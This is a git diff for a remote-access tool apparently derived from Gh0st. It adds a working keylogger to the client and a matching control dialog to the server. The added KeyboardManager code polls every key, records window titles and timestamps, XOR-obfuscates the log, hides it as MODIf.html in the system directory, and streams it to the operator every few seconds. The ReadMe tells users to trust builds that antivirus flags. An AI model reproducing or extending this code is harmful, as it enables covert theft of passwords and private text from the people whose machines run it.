diff --git a/ReadMe.md b/ReadMe.md
index 729a387..3fa8220 100644
--- a/ReadMe.md
+++ b/ReadMe.md
@@ -313,6 +313,11 @@ reorg: Move commands to common/commands.h
发布一个运行**非常稳定**的版本v1.0.6,该版本不支持在较老的Windows XP系统运行(注:VS2019及以后版本已不支持XP工具集,为此需要更早的VS)。
您可以从GitHub下载最新的Release,也可以clone该项目在相关目录找到。如果杀毒软件报告病毒,这是正常现象,请信任即可,或者您可以亲自编译。
+2025.02.01
+
+参考[Gh0st](https://github.com/yuanyuanxiang/Gh0st/pull/2),增加键盘记录功能。实质上就是拷贝如下四个文件:
+
+*KeyboardManager.h、KeyboardManager.cpp、KeyBoardDlg.h、KeyBoardDlg.cpp*
# 沟通反馈
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index bb04143..ab6336a 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -169,6 +169,7 @@
+
@@ -193,6 +194,7 @@
+
diff --git a/client/Common.cpp b/client/Common.cpp
index b13f237..e4c8ca3 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -10,6 +10,8 @@
#include "RegisterManager.h"
#include "ServicesManager.h"
#include "VideoManager.h"
+#include "KeyboardManager.h"
+
#include "KernelManager.h"
extern CONNECT_ADDRESS g_SETTINGS;
@@ -112,3 +114,8 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
{
return LoopManager(lParam);
}
+
+DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
+{
+ return LoopManager(lParam);
+}
diff --git a/client/Common.h b/client/Common.h
index 6afd4a9..e65a457 100644
--- a/client/Common.h
+++ b/client/Common.h
@@ -30,3 +30,4 @@ DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
+DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 04dd735..65a6e43 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -117,6 +117,14 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch(szBuffer[0])
{
+ case COMMAND_KEYBOARD: //̼¼
+ {
+ m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
+ (LPTHREAD_START_ROUTINE)LoopKeyboardManager,
+ &m_hThread[m_ulThreadCount], 0, NULL);;
+ break;
+ }
+
case COMMAND_TALK:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp
new file mode 100644
index 0000000..74e8bb4
--- /dev/null
+++ b/client/KeyboardManager.cpp
@@ -0,0 +1,505 @@
+// KeyboardManager.cpp: implementation of the CKeyboardManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "KeyboardManager.h"
+#include
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+#include
+#include
+#include
+using namespace std;
+
+#define FILE_PATH "\\MODIf.html"
+#define CAPTION_SIZE 1024
+
+CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n) : CManager(pClient)
+{
+ sendStartKeyBoard();
+ WaitForDialogOpen();
+ sendOfflineRecord();
+
+ GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile));
+ lstrcat(m_strRecordFile, FILE_PATH);
+
+ m_bIsWorking = true;
+ dKeyBoardSize = 0;
+
+ m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)this, 0, NULL);
+ m_hSendThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendData,(LPVOID)this,0,NULL);
+}
+
+CKeyboardManager1::~CKeyboardManager1()
+{
+ m_bIsWorking = false;
+ WaitForSingleObject(m_hWorkThread, INFINITE);
+ WaitForSingleObject(m_hSendThread, INFINITE);
+ CloseHandle(m_hWorkThread);
+ CloseHandle(m_hSendThread);
+}
+
+void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
+{
+ if (lpBuffer[0] == COMMAND_NEXT)
+ NotifyDialogIsOpen();
+
+ if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
+ }
+
+ if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
+ DeleteFile(m_strRecordFile);
+ HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
+ CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ CloseHandle(hFile);
+ dKeyBoardSize = 0;
+ }
+}
+
+int CKeyboardManager1::sendStartKeyBoard()
+{
+ BYTE bToken[2];
+ bToken[0] = TOKEN_KEYBOARD_START;
+ bToken[1] = (BYTE)true;
+
+ return Send((LPBYTE)&bToken[0], sizeof(bToken));
+}
+
+
+int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
+{
+ int nRet = -1;
+ DWORD dwBytesLength = 1 + nSize;
+ LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
+
+ lpBuffer[0] = TOKEN_KEYBOARD_DATA;
+ memcpy(lpBuffer + 1, lpData, nSize);
+
+ nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
+ LocalFree(lpBuffer);
+
+ return nRet;
+}
+
+int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
+{
+ int nRet = 0;
+ DWORD dwSize = 0;
+ DWORD dwBytesRead = 0;
+ HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
+ NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+
+ if (hFile != INVALID_HANDLE_VALUE) {
+ dwSize = GetFileSize(hFile, NULL);
+ dKeyBoardSize = dwSize;
+ if (0 != dwRead) {
+ SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN);
+ dwSize -= dwRead;
+ }
+
+ TCHAR *lpBuffer = new TCHAR[dwSize];
+ ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
+
+ //
+ for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++)
+ lpBuffer[i] ^= '`';
+
+ nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
+ delete[] lpBuffer;
+ }
+ CloseHandle(hFile);
+ return nRet;
+}
+
+
+string GetKey(int Key) // жϼ̰ʲô
+{
+ string KeyString = "";
+ //жϷ
+ const int KeyPressMask=0x80000000; //볣
+ int iShift=GetKeyState(0x10); //жShift״̬
+ bool IS=(iShift & KeyPressMask)==KeyPressMask; //ʾShift
+ if(Key >=186 && Key <=222) {
+ switch(Key) {
+ case 186:
+ if(IS)
+ KeyString = ":";
+ else
+ KeyString = ";";
+ break;
+ case 187:
+ if(IS)
+ KeyString = "+";
+ else
+ KeyString = "=";
+ break;
+ case 188:
+ if(IS)
+ KeyString = "<";
+ else
+ KeyString = ",";
+ break;
+ case 189:
+ if(IS)
+ KeyString = "_";
+ else
+ KeyString = "-";
+ break;
+ case 190:
+ if(IS)
+ KeyString = ">";
+ else
+ KeyString = ".";
+ break;
+ case 191:
+ if(IS)
+ KeyString = "?";
+ else
+ KeyString = "/";
+ break;
+ case 192:
+ if(IS)
+ KeyString = "~";
+ else
+ KeyString = "`";
+ break;
+ case 219:
+ if(IS)
+ KeyString = "{";
+ else
+ KeyString = "[";
+ break;
+ case 220:
+ if(IS)
+ KeyString = "|";
+ else
+ KeyString = "\\";
+ break;
+ case 221:
+ if(IS)
+ KeyString = "}";
+ else
+ KeyString = "]";
+ break;
+ case 222:
+ if(IS)
+ KeyString = '"';
+ else
+ KeyString = "'";
+ break;
+ }
+ }
+ //жϼ̵ĵһ
+ if (Key == VK_ESCAPE) // ˳
+ KeyString = "[Esc]";
+ else if (Key == VK_F1) // F1F12
+ KeyString = "[F1]";
+ else if (Key == VK_F2)
+ KeyString = "[F2]";
+ else if (Key == VK_F3)
+ KeyString = "[F3]";
+ else if (Key == VK_F4)
+ KeyString = "[F4]";
+ else if (Key == VK_F5)
+ KeyString = "[F5]";
+ else if (Key == VK_F6)
+ KeyString = "[F6]";
+ else if (Key == VK_F7)
+ KeyString = "[F7]";
+ else if (Key == VK_F8)
+ KeyString = "[F8]";
+ else if (Key == VK_F9)
+ KeyString = "[F9]";
+ else if (Key == VK_F10)
+ KeyString = "[F10]";
+ else if (Key == VK_F11)
+ KeyString = "[F11]";
+ else if (Key == VK_F12)
+ KeyString = "[F12]";
+ else if (Key == VK_SNAPSHOT) // ӡĻ
+ KeyString = "[PrScrn]";
+ else if (Key == VK_SCROLL) //
+ KeyString = "[Scroll Lock]";
+ else if (Key == VK_PAUSE) // ͣж
+ KeyString = "[Pause]";
+ else if (Key == VK_CAPITAL) // д
+ KeyString = "[Caps Lock]";
+
+ //-------------------------------------//
+ //Ƽ
+ else if (Key == 8) //<- ظ
+ KeyString = "[Backspace]";
+ else if (Key == VK_RETURN) // س
+ KeyString = "[Enter]\n";
+ else if (Key == VK_SPACE) // ո
+ KeyString = " ";
+ //ϵ:̼¼ʱԲ¼ShiftDzκַ
+ //ϵͱļϣʱַ
+ /*
+ else if (Key == VK_LSHIFT) // ϵ
+ KeyString = "[Shift]";
+ else if (Key == VK_LSHIFT) // Ҳϵ
+ KeyString = "[SHIFT]";
+ */
+ /*ֻǶԼĸм¼:Բ¼ļ*/
+ else if (Key == VK_TAB) // Ʊ
+ KeyString = "[Tab]";
+ else if (Key == VK_LCONTROL) // Ƽ
+ KeyString = "[Ctrl]";
+ else if (Key == VK_RCONTROL) // ҿƼ
+ KeyString = "[CTRL]";
+ else if (Key == VK_LMENU) //
+ KeyString = "[Alt]";
+ else if (Key == VK_LMENU) // һ
+ KeyString = "[ALT]";
+ else if (Key == VK_LWIN) // WINDOWS
+ KeyString = "[Win]";
+ else if (Key == VK_RWIN) // WINDOWS
+ KeyString = "[WIN]";
+ else if (Key == VK_APPS) // Ҽ
+ KeyString = "Ҽ";
+ else if (Key == VK_INSERT) //
+ KeyString = "[Insert]";
+ else if (Key == VK_DELETE) // ɾ
+ KeyString = "[Delete]";
+ else if (Key == VK_HOME) // ʼ
+ KeyString = "[Home]";
+ else if (Key == VK_END) //
+ KeyString = "[End]";
+ else if (Key == VK_PRIOR) // һҳ
+ KeyString = "[PgUp]";
+ else if (Key == VK_NEXT) // һҳ
+ KeyString = "[PgDown]";
+ // õļ:һû
+ else if (Key == VK_CANCEL) // Cancel
+ KeyString = "[Cancel]";
+ else if (Key == VK_CLEAR) // Clear
+ KeyString = "[Clear]";
+ else if (Key == VK_SELECT) //Select
+ KeyString = "[Select]";
+ else if (Key == VK_PRINT) //Print
+ KeyString = "[Print]";
+ else if (Key == VK_EXECUTE) //Execute
+ KeyString = "[Execute]";
+
+ //----------------------------------------//
+ else if (Key == VK_LEFT) //ϡ¡Ҽ
+ KeyString = "[]";
+ else if (Key == VK_RIGHT)
+ KeyString = "[]";
+ else if (Key == VK_UP)
+ KeyString = "[]";
+ else if (Key == VK_DOWN)
+ KeyString = "[]";
+ else if (Key == VK_NUMLOCK)//С
+ KeyString = "[NumLock]";
+ else if (Key == VK_ADD) // ӡˡ
+ KeyString = "+";
+ else if (Key == VK_SUBTRACT)
+ KeyString = "-";
+ else if (Key == VK_MULTIPLY)
+ KeyString = "*";
+ else if (Key == VK_DIVIDE)
+ KeyString = "/";
+ else if (Key == 190 || Key == 110) // С . .
+ KeyString = ".";
+ //Сּ:0-9
+ else if (Key == VK_NUMPAD0)
+ KeyString = "0";
+ else if (Key == VK_NUMPAD1)
+ KeyString = "1";
+ else if (Key == VK_NUMPAD2)
+ KeyString = "2";
+ else if (Key == VK_NUMPAD3)
+ KeyString = "3";
+ else if (Key == VK_NUMPAD4)
+ KeyString = "4";
+ else if (Key == VK_NUMPAD5)
+ KeyString = "5";
+ else if (Key == VK_NUMPAD6)
+ KeyString = "6";
+ else if (Key == VK_NUMPAD7)
+ KeyString = "7";
+ else if (Key == VK_NUMPAD8)
+ KeyString = "8";
+ else if (Key == VK_NUMPAD9)
+ KeyString = "9";
+ //-------------------------------------------//
+
+ //-------------------------------------------//
+ //*ĸĴСдж*//
+ else if (Key >=97 && Key <= 122) { // ĸ:a-z
+ if (GetKeyState(VK_CAPITAL)) { // д
+ if(IS) //Shift:ΪСдĸ
+ KeyString = Key;
+ else // ֻдд:дĸ
+ KeyString = Key - 32;
+ } else { // дû
+ if(IS) // Shift: дĸ
+ KeyString = Key - 32;
+ else // ûаShift: Сдĸ
+ KeyString = Key;
+ }
+ } else if (Key >=48 && Key <= 57) { // :0-9Ϸķ
+ if(IS) {
+ switch(Key) {
+ case 48: //0
+ KeyString = ")";
+ break;
+ case 49://1
+ KeyString = "!";
+ break;
+ case 50://2
+ KeyString = "@";
+ break;
+ case 51://3
+ KeyString = "#";
+ break;
+ case 52://4
+ KeyString = "$";
+ break;
+ case 53://5
+ KeyString = "%";
+ break;
+ case 54://6
+ KeyString = "^";
+ break;
+ case 55://7
+ KeyString = "&";
+ break;
+ case 56://8
+ KeyString = "*";
+ break;
+ case 57://9
+ KeyString = "(";
+ break;
+ }
+ } else
+ KeyString = Key;
+ }
+ if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
+ if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z
+ if (GetKeyState(VK_CAPITAL)) { // д:A-Z
+ if(IS) // дҰϵ:ΪСдĸ
+ KeyString = Key + 32;
+ else //ֻдд:Ϊдĸ
+ KeyString = Key;
+ } else { // дû:a-z
+ if(IS) {
+ KeyString = Key;
+ } else {
+ Key = Key + 32;
+ KeyString = Key;
+ }
+ }
+ }
+ }
+
+ return KeyString;
+}
+
+void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer)
+{
+ HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
+ NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+
+ DWORD dwBytesWrite = 0;
+ DWORD dwSize = GetFileSize(hFile, NULL);
+ if (dwSize < 1024 * 1024 * 50)
+ SetFilePointer(hFile, 0, 0, FILE_END);
+
+
+ //
+ int nLength = lstrlen(lpBuffer);
+ TCHAR* lpEncodeBuffer = new TCHAR[nLength];
+ for (int i = 0; i < nLength; i++)
+ lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`');
+ WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL);
+ CloseHandle(hFile);
+
+ delete [] lpEncodeBuffer;
+ return;
+}
+
+BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
+{
+ HWND hFocus = GetForegroundWindow();
+ BOOL ReturnFlag = FALSE;
+ if (hFocus != PreviousFocus) {
+ if (lstrlen(WindowCaption) > 0) {
+ if (hasData) {
+ SYSTEMTIME s;
+ GetLocalTime(&s);
+ wsprintf(szText, _T("\r\n[:] %s\r\n[ʱ:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
+ WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
+ }
+ memset(WindowCaption, 0, CAPTION_SIZE);
+ ReturnFlag=TRUE;
+ }
+ PreviousFocus = hFocus;
+ SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
+ }
+ return ReturnFlag;
+}
+
+DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
+{
+ CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
+
+ while(pThis->m_bIsWorking) {
+ DWORD dwSize =0;
+ HANDLE hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
+ NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+
+ if (hFile != INVALID_HANDLE_VALUE) {
+ dwSize = GetFileSize(hFile, NULL);
+ }
+ CloseHandle(hFile);
+
+ if (pThis->dKeyBoardSize != dwSize) {
+ pThis->sendOfflineRecord(pThis->dKeyBoardSize);
+ }
+
+ Sleep(3000);
+ }
+ return 0;
+}
+
+DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
+{
+ CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
+
+ TCHAR KeyBuffer[2048] = {};
+ TCHAR szText[CAPTION_SIZE] = {};
+ TCHAR WindowCaption[CAPTION_SIZE] = {};
+ HWND PreviousFocus = NULL;
+ while(pThis->m_bIsWorking) {
+ Sleep(5);
+ int num = lstrlen(KeyBuffer);
+ if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
+ bool newWindowInput = strlen(szText);
+ if (newWindowInput){// µĴм
+ lstrcat(KeyBuffer, szText);
+ memset(szText, 0, sizeof(szText));
+ }
+ if (lstrlen(KeyBuffer) > 0) {
+ if (!newWindowInput)
+ lstrcat(KeyBuffer, _T("\r\n"));
+ const int offset = sizeof(_T("\r\n[:]")) - 1;
+ memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
+ memcpy(KeyBuffer, _T("\r\n[:]"), offset);
+ SaveToFile(pThis->m_strRecordFile, KeyBuffer);
+ memset(KeyBuffer,0,sizeof(KeyBuffer));
+ }
+ }
+ for(int i = 8; i <= 255; i++) {
+ if((GetAsyncKeyState(i)&1) == 1) {
+ string TempString = GetKey (i);
+ lstrcat(KeyBuffer,TempString.c_str());
+ }
+ }
+ }
+ return 0;
+}
diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h
new file mode 100644
index 0000000..72696cc
--- /dev/null
+++ b/client/KeyboardManager.h
@@ -0,0 +1,35 @@
+// KeyboardManager.h: interface for the CKeyboardManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
+#define AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#include "..\Manager.h"
+
+class CKeyboardManager1 : public CManager
+{
+public:
+ CKeyboardManager1(CClientSocket *pClient, int n=0);
+ virtual ~CKeyboardManager1();
+ virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
+ static DWORD WINAPI KeyLogger(LPVOID lparam);
+ static DWORD WINAPI SendData(LPVOID lparam);
+
+ HANDLE m_hWorkThread,m_hSendThread;
+ DWORD dKeyBoardSize;
+ TCHAR m_strRecordFile[MAX_PATH];
+private:
+ BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
+ int sendStartKeyBoard();
+ int sendOfflineRecord(DWORD dwRead = 0);
+ int sendKeyBoardData(LPBYTE lpData, UINT nSize);
+
+ bool m_bIsWorking;
+};
+
+#endif // !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
diff --git a/client/Manager.cpp b/client/Manager.cpp
index 42d1ebd..4857471 100644
--- a/client/Manager.cpp
+++ b/client/Manager.cpp
@@ -5,6 +5,117 @@
#include "stdafx.h"
#include "Manager.h"
#include "IOCPClient.h"
+#include
+
+typedef struct {
+ unsigned(__stdcall* start_address)(void*);
+ void* arglist;
+ bool bInteractive; // Ƿֽ֧
+ HANDLE hEventTransferArg;
+} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
+
+BOOL SelectDesktop(TCHAR* name);
+
+unsigned int __stdcall ThreadLoader(LPVOID param)
+{
+ unsigned int nRet = 0;
+ try {
+ THREAD_ARGLIST arg;
+ memcpy(&arg, param, sizeof(arg));
+ SetEvent(arg.hEventTransferArg);
+ // 潻
+ if (arg.bInteractive)
+ SelectDesktop(NULL);
+
+ nRet = arg.start_address(arg.arglist);
+ }
+ catch (...) {
+ };
+ return nRet;
+}
+
+HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
+ SIZE_T dwStackSize, // initial stack size
+ LPTHREAD_START_ROUTINE lpStartAddress, // thread function
+ LPVOID lpParameter, // thread argument
+ DWORD dwCreationFlags, // creation option
+ LPDWORD lpThreadId, bool bInteractive)
+{
+ HANDLE hThread = INVALID_HANDLE_VALUE;
+ THREAD_ARGLIST arg;
+ arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
+ arg.arglist = (void*)lpParameter;
+ arg.bInteractive = bInteractive;
+ arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
+ hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
+ WaitForSingleObject(arg.hEventTransferArg, INFINITE);
+ CloseHandle(arg.hEventTransferArg);
+
+ return hThread;
+}
+
+BOOL SelectHDESK(HDESK new_desktop)
+{
+ HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
+
+ DWORD dummy;
+ char new_name[256];
+
+ if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
+ return FALSE;
+ }
+
+ // Switch the desktop
+ if (!SetThreadDesktop(new_desktop)) {
+ return FALSE;
+ }
+
+ // Switched successfully - destroy the old desktop
+ CloseDesktop(old_desktop);
+
+ return TRUE;
+}
+
+// - SelectDesktop(char *)
+// Switches the current thread into a different desktop, by name
+// Calling with a valid desktop name will place the thread in that desktop.
+// Calling with a NULL name will place the thread in the current input desktop.
+BOOL SelectDesktop(TCHAR* name)
+{
+ HDESK desktop;
+
+ if (name != NULL) {
+ // Attempt to open the named desktop
+ desktop = OpenDesktop(name, 0, FALSE,
+ DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
+ DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
+ DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
+ DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
+ }
+ else {
+ // No, so open the input desktop
+ desktop = OpenInputDesktop(0, FALSE,
+ DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
+ DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
+ DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
+ DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
+ }
+
+ // Did we succeed?
+ if (desktop == NULL) {
+ return FALSE;
+ }
+
+ // Switch to the new desktop
+ if (!SelectHDESK(desktop)) {
+ // Failed to enter the new desktop, so free it!
+ CloseDesktop(desktop);
+ return FALSE;
+ }
+
+ // We successfully switched desktops!
+ return TRUE;
+}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
diff --git a/client/Manager.h b/client/Manager.h
index b535680..8a2a40e 100644
--- a/client/Manager.h
+++ b/client/Manager.h
@@ -9,8 +9,20 @@
#pragma once
#endif // _MSC_VER > 1000
+#include
+#include "..\common\commands.h"
+
class IOCPClient;
+typedef IOCPClient CClientSocket;
+
+HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
+ SIZE_T dwStackSize, // initial stack size
+ LPTHREAD_START_ROUTINE lpStartAddress, // thread function
+ LPVOID lpParameter, // thread argument
+ DWORD dwCreationFlags, // creation option
+ LPDWORD lpThreadId, bool bInteractive = false);
+
class CManager
{
public:
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index 2511f68..888746d 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -179,6 +179,7 @@
+
@@ -203,6 +204,7 @@
+
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index a11f872..cd49add 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index c03c80e..15825a7 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -19,6 +19,7 @@
#include "ServicesDlg.h"
#include "VideoDlg.h"
#include
+#include "KeyBoardDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -165,6 +166,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(IDM_ONLINE_VIDEO, &CMy2015RemoteDlg::OnOnlineVideoManager)
ON_COMMAND(IDM_ONLINE_SERVER, &CMy2015RemoteDlg::OnOnlineServerManager)
ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager)
+ ON_COMMAND(IDM_KEYBOARD, &CMy2015RemoteDlg::OnOnlineKeyboardManager)
ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient) //Client
ON_MESSAGE(UM_ICONNOTIFY, (LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM))OnIconNotify)
ON_COMMAND(IDM_NOTIFY_SHOW, &CMy2015RemoteDlg::OnNotifyShow)
@@ -183,6 +185,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog)
ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
+ ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
ON_WM_HELPINFO()
END_MESSAGE_MAP()
@@ -286,9 +289,10 @@ VOID CMy2015RemoteDlg::CreateToolBar()
m_ToolBar.SetButtonText(6,"Ƶ");
m_ToolBar.SetButtonText(7,"");
m_ToolBar.SetButtonText(8,"ע");
- m_ToolBar.SetButtonText(9,"");
- m_ToolBar.SetButtonText(10,"ɷ");
- m_ToolBar.SetButtonText(11,"");
+ m_ToolBar.SetButtonText(9, "̼¼");
+ m_ToolBar.SetButtonText(10,"");
+ m_ToolBar.SetButtonText(11,"ɷ");
+ m_ToolBar.SetButtonText(12,"");
RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //ʾ
}
@@ -806,6 +810,12 @@ VOID CMy2015RemoteDlg::OnOnlineRegisterManager()
SendSelectedCommand(&bToken, sizeof(BYTE));
}
+VOID CMy2015RemoteDlg::OnOnlineKeyboardManager()
+{
+ BYTE bToken = COMMAND_KEYBOARD;
+ SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
void CMy2015RemoteDlg::OnOnlineBuildClient()
{
// TODO: ڴ
@@ -967,6 +977,12 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
Dlg->OnReceiveComplete();
break;
}
+ case KEYBOARD_DLG:
+ {
+ CKeyBoardDlg* Dlg = (CKeyBoardDlg*)ContextObject->hDlg;
+ Dlg->OnReceiveComplete();
+ break;
+ }
default:
g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)ContextObject, (LPARAM)ContextObject);
}
@@ -1010,6 +1026,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
Sleep(10);
break;
}
+ case TOKEN_KEYBOARD_START: {// ̼¼
+ g_2015RemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
+ break;
+ }
case TOKEN_LOGIN: // ߰ shine
{
g_2015RemoteDlg->PostMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
@@ -1202,6 +1222,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
delete Dlg; //
break;
}
+ case KEYBOARD_DLG:
+ {
+ CKeyBoardDlg* Dlg = (CKeyBoardDlg*)p->hDlg;
+ delete Dlg;
+ break;
+ }
default:break;
}
delete p;
@@ -1372,6 +1398,20 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
return 0;
}
+LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam)
+{
+ CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
+
+ CKeyBoardDlg* Dlg = new CKeyBoardDlg(this, m_iocpServer, ContextObject);
+ // øΪ
+ Dlg->Create(IDD_DLG_KEYBOARD, GetDesktopWindow()); //Dlg
+ Dlg->ShowWindow(SW_SHOW);
+
+ ContextObject->v1 = KEYBOARD_DLG;
+ ContextObject->hDlg = Dlg;
+
+ return 0;
+}
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
{
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 7bae501..00c3b30 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -91,6 +91,7 @@ public:
afx_msg void OnOnlineFileManager();
afx_msg void OnOnlineServerManager();
afx_msg void OnOnlineRegisterManager();
+ afx_msg VOID OnOnlineKeyboardManager();
afx_msg void OnOnlineBuildClient();
afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam);
@@ -104,6 +105,7 @@ public:
afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam);
